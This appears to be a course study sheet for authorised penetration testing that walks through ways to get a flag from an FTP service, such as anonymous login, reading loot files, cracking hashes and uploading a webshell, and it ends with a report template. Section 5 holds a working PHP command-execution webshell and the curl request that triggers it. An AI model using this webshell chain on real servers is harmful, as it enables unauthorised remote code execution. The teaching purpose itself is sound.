FTP — Generalised Playbook

ISEC6005 · works on ANY FTP box · all the ways FTP yields a flag (incl. ones not practised) · v4

How to use

- Your nmap scan shows **ftp**. Walk the decision tree below; it covers every FTP outcome, not just the box we practised. Replace <...> with your values.

1. Concept

What FTP is

- **FTP** moves files over a network. **Anonymous login** (user `anonymous`, blank password) being allowed is the usual weakness.
- FTP can be on **any port** (not just 21). Uses a separate data connection — if listing hangs, use `passive`.

2. Decision tree (covers every FTP flag path)

```
nmap shows ftp (any port)
  |
  v  ftp <IP> <PORT>   (anonymous / blank password)
  |
  +-- 230 login OK? ----NO----> try creds found elsewhere (user%pass); or FTP not the way
  |
  YES
  |
  v  ls   (and cd into every folder; ls -la for hidden files)
  |
  +-- a flag file?        -> get + cat                          = EASY FLAG
  +-- a note/readme/conf? -> read it: may hold creds/clues      = feeds INTERMEDIATE
  +-- a password hash?    -> crack it, then login (SSH/WinRM)   = INTERMEDIATE
  +-- can I upload (put)? -> and is the dir web-served?
  |        put webshell -> browse it over HTTP -> RCE           = INTERMEDIATE
  +-- fragment / partial? -> correlate with another service (e.g. HTTP header)
```

3. Core commands (explained)

Command	What it does
ftp <IP> <PORT>	connect (port only if not 21)
ls / ls -la	list files / incl. hidden (dot) files
cd <folder> / cd ..	enter a folder / go up
get <file>	download to Kali
put <file>	UPLOAD a file (only if the server allows writes) — route to a webshell
more <file>	read a file inside the session (no download)
passive	fix hangs on ls/get
bye	leave

4. All the ways FTP gives a flag

Variation	What you do	Stage

Anonymous read of a flag file	get + cat	Easy
Anonymous read of a clue/creds file	read notes/configs/backups for the next login	Easy->Inter
Password hash in a file	crack (hashcat) then log in elsewhere	Intermediate
Writable FTP mapped to a web root	put a webshell, trigger over HTTP -> RCE	Intermediate
FTP creds found elsewhere	log in with real user%pass for more files	varies
Flag split across services	FTP fragment + HTTP header/file -> concatenate	Easy
Config/backup exposes DB or app creds	reuse on the DB/app/SSH	Intermediate

5. Upload-to-webshell (intermediate pattern, generalised)

```
# only works if 'put' is allowed AND the folder is served by a web server
printf '%s' '<?php system($_GET["cmd"]); ?>' > sh.php
ftp <IP> # log in
cd <web-served-folder>
put sh.php
bye
# trigger over HTTP (encode spaces with --data-urlencode):
curl -G "http://<IP>:<web-port>/<path>/sh.php" --data-urlencode "cmd=whoami"
```

Adapting to a box you have NOT seen

- Unknown FTP server/version? `searchsploit <server> <version>` — some FTP daemons have known RCEs (confirm the version).
- No anonymous? Look for creds in OTHER services first, then return and log in here.
- Nothing obvious in files? `ls -la` for hidden files; read EVERY note/readme/config — the clue is usually written down.
- Can you `put`? That's a foothold — test whether the folder is also a web path.

WRITE YOUR REPORT — FTP

If this technique comes up, you can write the whole report from here. Fill the <...> blanks with your box's real values and keep the structure.

Step 1 — pick the vulnerability that matches what you found

Vulnerability (use this name)	When it applies	Severity
Anonymous FTP Access	Server accepts the anonymous login with any/no password.	High
Sensitive Data Exposure via FTP	Files readable over FTP contain creds, keys, configs or the flag.	High
Writable FTP → RCE	You can put a file and the same folder is served by the web server	Critical

Step 2 — Executive Summary (non-technical, for management)

Model — adapt the <...>

- During the authorised penetration test of <system name>, the FTP service on port 21 was found to permit anonymous access. An unauthenticated attacker could log in with the username 'anonymous' and no valid password, and retrieve files stored on the server — including <describe what was exposed: a readme, a config file, credentials, the flag>. This exposes confidential information to anyone who can reach the service and, where the FTP directory is also writable and web-served, can lead to full remote code execution. The root cause is a misconfigured FTP service that trusts unauthenticated users. The overall risk is rated <High> and remediation should be prioritised.

Step 3 — Detailed Finding(s) (the core of the report)

Finding: Anonymous FTP Access & Sensitive Data Exposure — **Severity:** High (CVSS ~7.5)

Description (cause + trust assumption): The FTP service on port 21 accepts the built-in `anonymous` account with any password. Once logged in, <file(s)> could be read without authorisation. **Cause:** anonymous login was left enabled and sensitive files were stored in the FTP root. **Trust assumption violated:** the service assumed anyone reaching it was authorised, relying on obscurity rather than authentication / authorisation.

Evidence (commands run — attach screenshots of each):

```
nmap -p21 -sV <TARGET_IP> # 21/tcp open ftp Microsoft ftpd
ftp <TARGET_IP> # Name: anonymous Password: (blank/email) -> 230 logged in
ftp> ls -la # lists files, incl. <sensitive file>
ftp> get <file> # download it
cat <file> # -> <creds / flag / config>
```

Impact (blast radius + business): Blast radius: every file in the FTP tree is readable — not just the flag, but any config, backup or credential stored there; recovered creds often unlock SSH/SMB/web and move the attacker deeper. If the folder is writable and web-served, it becomes remote code execution. **Business impact:** unauthorised disclosure of confidential data (and potential full host compromise), with breach-notification, reputational and regulatory consequences.

Recommendation (mitigation): Disable anonymous FTP (set `anonymous` login off); require authenticated, least-privilege accounts; replace plain FTP with FTPS or SFTP so credentials and data are encrypted; remove sensitive files from the FTP root; make directories read-only unless write is genuinely required.

Verification after fix: Re-run `ftp <TARGET_IP>` and attempt the anonymous login — it should be rejected (530 Login incorrect). Confirm the sensitive file is no longer retrievable without valid credentials.

Step 4 — Attack Path Summary (one line per step)

```
1. nmap -p21 -sV <TARGET_IP> -> FTP open (Microsoft ftpd / Windows)
2. ftp <TARGET_IP>, login anonymous -> 230 access granted
3. ls -la / get <file> -> retrieved <sensitive file>
4. cat <file> -> easy flag / credentials
5. (if creds) reuse on SSH/SMB/web -> intermediate flag
```

Step 5 — Remediation Plan (prioritised)

- **Immediate:** disable anonymous login; remove sensitive files from the FTP root.
- **Short term:** move to SFTP/FTPS; enforce authenticated least-privilege accounts; set directories read-only where possible.
- **Long term:** harden the service to a secure baseline, monitor FTP access logs, and review what data is stored on the host.

Step 6 — Conclusion

Model — adapt the <...>

- The FTP service exposed sensitive data to unauthenticated users because anonymous access was enabled. Although trivial to exploit, it represents a real confidentiality risk and a possible foothold for deeper compromise. Disabling anonymous access and moving to an authenticated, encrypted transfer protocol removes the issue. All testing stayed within the agreed scope and no data was altered or destroyed.